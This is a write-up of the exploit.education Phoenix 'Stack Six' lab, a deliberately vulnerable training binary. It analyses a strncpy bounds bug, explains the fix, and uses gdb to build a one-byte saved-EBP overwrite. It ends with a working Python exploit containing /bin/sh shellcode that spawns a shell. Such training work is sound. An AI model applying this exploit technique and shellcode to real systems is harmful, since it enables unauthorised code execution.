exploit.education Phoenix - Stack 0x6
Write-up for: Stack Six
The goal is to take control of execution. Input can be passed to the program
via the ExploitEducation
environment variable.
user@phoenix-amd64:/opt/phoenix/i486$ ./stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome home, Hello
Static analysis
- a pointer to the environment variable is stored in a local variable (ebp - local_ch)
- the
greet
function is called with this pointer as an argument
The greet
function is the most interesting part of the program. Let’s inspect it in detail:
radare2 stack-six
aa
VV @ sym.greet
First, the length of the environment variable (passed as a pointer argument) is stored at ebp - local_ch
. If the length is greater than 127 (0x7f), 127 is stored as the length instead.
call sym.imp.strlen ;[a]; size_t strlen(const char *s); |
mov dword [ebp - local_ch], eax
...
// store 0x7f instead
cmp eax, 0x7f
jbe 0x80485af // jump below or equal
mov dword [ebp - local_ch], 0x7f
Next, in greet
, the global variable what
is stored in eax
and then copied to the buffer at ebp - local_8ch
using strcpy
.
After that, the length of the buffer (at ebp - local_8ch
) is calculated with strlen
. The result of this call is used to determine the first argument to strncpy
, which copies up to 127 bytes of the argument value (the environment value) to buffer + strlen(buffer)
.
The bug
Now, the bug is evident. The buffer
can hold 128 bytes including the terminating null byte. A constant string is copied to the buffer first. Afterwards, seemingly bounds checked,a user-provided string is copied after that. However, the bounds check does not take into account that the value is not written to the beginning of the buffer.
maxSize = strlen(who);
if (maxSize > (sizeof(buffer) - /* ensure null termination */ 1)) {
maxSize = sizeof(buffer) - 1;
}
strcpy(buffer, what);
strncpy(buffer + strlen(buffer), who, maxSize); // THIS CAN OVERFLOW BY strlen(buffer) bytes
As an attacker, we can overflow the stack buffer variable by a maximum of strlen(buffer)
.
Fixing the bug
To fix the issue, the maximum size calculation to be used in strncpy
would need to happen after the first strcpy
and would need to subtract strlen(buffer)
from the maximum of 127 bytes.
Dynamic analysis
Some information required for exploiting the bug can be more easily obtained via inspecting the program at runtime.
First, we need the size of the global variable what
to determine strlen(buffer)
at the time of the overflow:
(gdb) print (char*)what
$1 = 0x80486c0 "Welcome home, "
The string at the beginning of the 128 byte buffer is “Welcome home, “ which, including the terminating null byte, is 15 bytes long. That means we can overwrite the buffer by at most 15 bytes. Not enough for placing our shellcode but maybe enough to redirect execution.
Exploitation
The plan of attack is to overwrite the stored return address of greet
in order to control eip
. Afterwards, we will try to store our shellcode somewhere and jump there.
In order to overwrite the return address, we need the offset of the address to buffer. This can be determined in gdb by inspecting the stack at various points of execution.
Address of user input: 0xffffd4bc Return address (this is what we look for on the stack): 0x0804865f Stored return address location: 0xffffd54c
Offset = 0xffffd54c - 0xffffd4bc = 144
This is a problem because the maximum size we can write is 127 + 15 = 142. That’s enough to crash the program, but not enough to directly overwrite EIP. Let’s see if there is anything we can control:
$- export ExploitEducation=`python -c 'print "A" * 127'`
(gdb) break *greet+133
Breakpoint 1 at 0x804860a
(gdb) r
Starting program: /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Breakpoint 1, 0x0804860a in greet ()
(gdb) info reg
eax 0x8049930 134519088
ecx 0x0 0
edx 0x0 0
ebx 0x41414141 1094795585
esp 0xffffd54c 0xffffd54c
ebp 0xffffd541 0xffffd541
esi 0xffffd604 -10748
edi 0x1 1
eip 0x804860a 0x804860a <greet+133>
eflags 0x282 [ SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) x/xw 0xffffd541
0xffffd541: 0x41414141
Using the maximum overflow length, we can observe that we control the LSB of the EBP register.
How is this helpful in controlling execution? During the return from greet
EBP is used to restore ESP. Then, the value from the top of ESP is used to load EIP in order to continue execution. Since we control the value at the overwritten EBP address (0x41414141), we should be able to overwrite EIP.
saved ebp: 0xffffd558 @ 0xffffd528
In the debugger we can see that we overwrite the last byte of the saved EBP.
0xffffd520: 0x41414141 0x41414141 0xffffd541 0x0804865f
Using this technique, we can manipulate ESP in the main
function. Just before leaving main
, its value is: 0xffffd545 = overwritten EBP (0xffffd541) + 0x4
.
Just before leaving main
the value stored at that address is 0x0, leading to a crash during return (SIGSEGV). The goal is now to manipulate the last byte of the stored EBP, so that EBP+0x4 points to a value we control.
(gdb) x/xw $esp
0xffffd545: 0x00000000
(gdb) x/16xw $esp-41
0xffffd51c: 0x00000000 0x41414141 0xffffd5e4 0x00000001
0xffffd52c: 0x0804866b 0x08049930 0x00000000 0x00000000
0xffffd53c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd54c: 0xffffded6 0x00000000 0xffffd570 0xffffd5ec
0x08048673 <+104>: mov ecx,DWORD PTR [ebp-0x4]
Here, the value at ebp-0x4 is stored in ecx. This is crucial since ECX will be used to restore ESP before leaving main
.
This means, if we can control the value at EBP-0x4 we can set ESP to an arbitrary value before leaving main
. If we can do this, we can control EIP and gain arbitrary code execution.
0x08048676 <+107>: leave
=> 0x08048677 <+108>: lea -0x4(%ecx),%esp
0x0804867a <+111>: ret
When leaving main
, ESP is set to ECX-0x4. Remember, ECX was previously set to an attacker-controlled value.
First, we need to find the offset that can be used to arbitrarily set the last byte of EBP. This is easy, since it is only one byte, it is most likely the very last byte of our payload. Let’s confirm this:
export ExploitEducation=`python -c 'print "A" * 126 + "B"'`
(gdb) break *main+107
Breakpoint 1 at 0x8048676
(gdb) r
Starting program: /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome home, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB_
Breakpoint 1, 0x08048676 in main ()
(gdb) info reg
eax 0x0 0
ecx 0x41410000 1094778880
edx 0x0 0
ebx 0x41414141 1094795585
esp 0xffffd560 0xffffd560
ebp 0xffffd542 0xffffd542
esi 0xffffd604 -10748
edi 0x1 1
eip 0x8048676 0x8048676 <main+107>
eflags 0x286 [ PF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
We can see that before leaving main, EBP is set to 0xffffd542. This means we can control the LSB by setting the last byte of our payload. Great!
Next, we need to find a suitable byte. This means having user-controlled data at EBP-0x4. To do that, let’s just look at the surroundings of what we currently have:
(gdb) x (0xffffd544-0x4)
0xffffd540: 0x41414141
This looks promising! Setting the byte to 0x44 lands us at some user-controlled value. Now, we need to find the offset of this value. Let’s do this by using a unique pattern generated by https://github.com/Svenito/exploit-pattern.
~/exploit-pattern [master] » python pattern.py 126
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1
user@phoenix-amd64:/opt/phoenix/i486$ export ExploitEducation=`python -c 'print "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1" + "B"'`
(gdb) x/4c 0xffffd540
0xffffd540: 48 '0' 65 'A' 101 'e' 49 '1'
~/exploit-pattern [master] » python pattern.py 0Ae1
Pattern 0Ae1 first occurrence at position 122 in pattern.
This tells us, that the user-controlled word is at offset 122 in our payload. Let’s confirm this by writing something specific there:
user@phoenix-amd64:/opt/phoenix/i486$ export ExploitEducation=`python -c 'print "A" * 122 + "CCCC" + "B"'`
(gdb) x/4c 0xffffd540
0xffffd540: 67 'C' 67 'C' 67 'C' 67 'C'
This works. To recap, now we can control ESP because ESP is set to ECX-0x4 and ECX is set to whatever is stored at EBP-0x4. The value that we store there should therefore point to our buffer. Then we can provide a new value for EIP and the game is over. Our payload currently looks like this:
[A*122][CCCC][0x44]
. This should lead to a ECX value of 0x43434343 (CCCC). Let’s confirm:
(gdb) info reg
eax 0x0 0
ecx 0x43434343 1128481603
Now all that is left is find a good address to jump to. Ideally some area of memory that we control via the environment variable.
Let’s check were our buffer is before it is printed out in main
:
(gdb) x/64xw 0x8049930
0x8049930: 0x636c6557 0x20656d6f 0x656d6f68 0x4141202c
0x8049940: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049950: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049960: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049970: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049980: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049990: 0x41414141 0x41414141 0x41414141 0x41414141
0x80499a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x80499b0: 0x41414141 0x41414141 0x43434343 0xffffd544
0x80499c0: 0x0804865f 0xffffdef3 0x00000000 0x00000000
0x80499d0: 0x00000000 0x00000000 0x000000b1 0x00000620
0x80499e0: 0xf7ffb968 0xf7ffb968 0x00000000 0x00000000
0x80499f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049a00: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049a10: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049a20: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049940 looks like a good candidate. To load it as ESP, we have to add 0x4, so we use 0x8049944 for the value at EBP-0x4 that is loaded into ECX.
Running the program now is very promising:
eip 0x41414141 0x41414141
We control EIP! The game is now over :) All that’s left is to write some shellcode into this buffer instead of “A”s. This is our final exploit:
buf = "\x08\x04\x99\x46"[::-1] # top of "new stack" -> will be EIP
buf += "\x90" * 8 # some leeway
buf += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # /bin/sh
buf += "\x90" * (122 - len(buf)) # padding
buf += "\x08\x04\x99\x42"[::-1] # new ECX (ESP + 0x4)
buf += "\x44" # LSB for EBP
print buf
Running it in gdb works! We have a shell!
user@phoenix-amd64:/opt/phoenix/i486$ export ExploitEducation=`python ~/stack-six.py`
user@phoenix-amd64:/opt/phoenix/i486$ gdb stack-six
GNU gdb (GDB) 8.2.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from stack-six...(no debugging symbols found)...done.
(gdb) run
Starting program: /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome home, 1Ph//shh/binS̀D_
process 662 is executing new program: /bin/dash
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
$ ls
[Detaching after fork from child process 666]
final-one format-four format-two heap-three net-one stack-five stack-six stack-zero
final-two format-one format-zero heap-two net-two stack-four stack-three
final-zero format-three heap-one heap-zero net-zero stack-one stack-two
However, since we forgot about the environment difference between gdb and outside, it does not work standalone. Let’s fix that.
In order to make it work outside we need to fix the target addresses used in our exploit since they will be shifted due to gdb having additional environment variables in front of the stack. The process is the same: look at the memory just before leaving main
.
To provide the same environment, we need to run the following in gdb:
unset env LINES
unset env COLUMNS
set env _ /opt/phoenix/i486/stack-six
Then we can determine a new LSB for EBP so we can control EIP reliably:
- Set LSB of EBP (buf[127]) so that EBP-0x4 is controlled by user: 0x54
Final Exploitation
buf = "\x08\x04\x99\x46"[::-1] # top of "new stack" -> will be EIP
buf += "\x90" * 8 # some leeway
buf += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # /bin/sh
buf += "\x90" * (122 - len(buf)) # padding
buf += "\x08\x04\x99\x42"[::-1] # new ESP
buf += "\x54" # LSB for EBP, will make ECX = *(EBP - 0x4)
print buf
user@phoenix-amd64:/opt/phoenix/i486$ export ExploitEducation=`python ~/stack-six.py`
user@phoenix-amd64:/opt/phoenix/i486$ /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome home, 1Ph//shh/binS̀T_
$ whoami
phoenix-i386-stack-six
PWNED!
Further reference
Article on one-byte overflows: https://www.cgsecurity.org/exploit/P55-08